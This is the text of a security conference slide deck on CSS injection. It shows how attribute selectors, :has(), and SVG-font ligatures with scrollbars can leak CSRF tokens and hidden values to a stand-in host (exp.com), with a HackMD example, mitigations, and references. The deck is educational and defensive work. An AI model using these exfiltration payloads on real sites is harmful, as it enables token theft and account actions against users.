Attacking web without JS - CSS injection

Attacking web without JS CSS Injection Huli from Cymetrics /
OneInﬁnity @ CYBERSEC 2022

About Huli • Security Researcher at Cymetrics / OneInﬁnity •
CTF player at Water Paddler • https://blog.huli.tw/

Front-end Security

Front-end Security => XSS(Cross-Site Scripting)

IE7 (15 years ago) <p style=" x:expression(alert(1)) ">

CSS injection => Steal data via CSS

CSS injection => Steal data via CSS How?

input[value^="a"]{ background: url("//exp.com?a"); }

CSS selectors input[value^="a"] // prefix input[value$="a"] // suffix input[value*="a"] //
contains

Steal input value <form> <input type=hidden name=token value=abc123> <input name="action"
value="update"> <input type="submit"> </form>

value="update"> <input type="submit"> </form> input[value^="a"]{ background: url("//exp.com?a"); }

value="update"> <input type="submit"> </form> input[value^="a"] + input { background: url("//exp.com?a"); }

Steal input value <form> <input name="action" value="update"> <input type="submit"> <input
type=hidden name=token value=abc123> </form>

has: to the rescue <form> <input name="action" value="update"> <input type="submit">
<input type=hidden name=token value=abc123> </form> form:has(input[value^="a"]) { background: url("//exp.com?a"); }

Steal meta content <head> <meta name=token content=abc123> </head>

Steal meta content <head> <meta name=token content=abc123> </head> meta[content^="a"] {
background: url(//exp.com?a); }

Steal meta content <head> <meta name=token content=abc123> </head> meta {
display: block; } meta[content^="a"] { background: url(//exp.com?a); }

Steal meta content <head> <meta name=token content=abc123> </head> meta[content^="a"] {
background: url(//exp.com?a); }

Steal meta content <head> <meta name=token content=abc123> </head> meta, head
{ display: block; } meta[content^="a"] { background: url(//exp.com?a); }

Steal HackMD CSRF token

Steal HackMD CSRF token HackMD Server

Steal HackMD CSRF token HackMD Server server?token=a

Steal HackMD CSRF token HackMD Server server?token=a Update content and
<style>

Steal HackMD CSRF token HackMD Server server?token=ab Update content and
<style>

Steal CSRF token != CSRF 😢

Steal any content <script> var secret = "abc123"; </script> Is
it possible?

ligature https://zh.m.wikipedia.org/zh-tw/File:Ligatures.svg

ligature <svg> <defs> <font horiz-adv-x="0"> <font-face font-family="leak" units-per-em="1000" /> <glyph
unicode=""a" horiz-adv-x="10000" d="M1 0z"/> </font> </defs> </svg>

ligature + scroll bar script { width: 300px; display: block;
font-family: "leak"; white-space: nowrap; overflow-x: auto; } script::-webkit-scrollbar { background: blue; } script::-webkit-scrollbar:horizontal { background: url(https://exp.com?a); }

ligature + scroll bar

Mitigation • Sanitization • Content Security Policy • style-src •
font-src • Check origin/referer header • Same-site cookie

Reference 1. https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf 2. https://x-c3ll.github.io/posts/CSS-Injection-Primitives/ 3. https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection 4. https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack- web-application/
5. https://mksben.l0.cm/2021/11/css-exﬁltration-svg-font.html 6. https://github.com/masatokinugawa/css-exﬁltration-svg-font/

Attacking web without JS - CSS injection

Attacking web without JS - CSS injection

More Decks by Huli

Other Decks in Programming

Featured

Transcript